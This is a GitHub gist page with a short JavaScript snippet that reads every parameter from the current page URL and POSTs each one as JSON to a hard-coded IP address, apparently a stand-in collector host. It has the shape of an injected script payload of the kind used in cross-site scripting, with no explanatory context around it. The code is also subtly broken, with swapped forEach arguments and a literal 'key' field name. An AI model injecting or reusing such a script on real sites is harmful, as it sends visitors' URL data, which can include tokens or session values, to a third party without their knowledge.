Last active
February 4, 2021 17:33
-
-
Save Katerina198b/51ccfb51a50bbb6e3308422a1cd31330 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sendData(data) { | |
const xhr = new XMLHttpRequest(); | |
xhr.open("POST", "https://192.168.149.128", true); | |
xhr.setRequestHeader('Content-Type', 'application/json'); | |
xhr.send(JSON.stringify(data)); | |
} | |
const params = new URLSearchParams(window.location.href); | |
params.forEach((key, value) => { | |
sendData({key: value}) | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment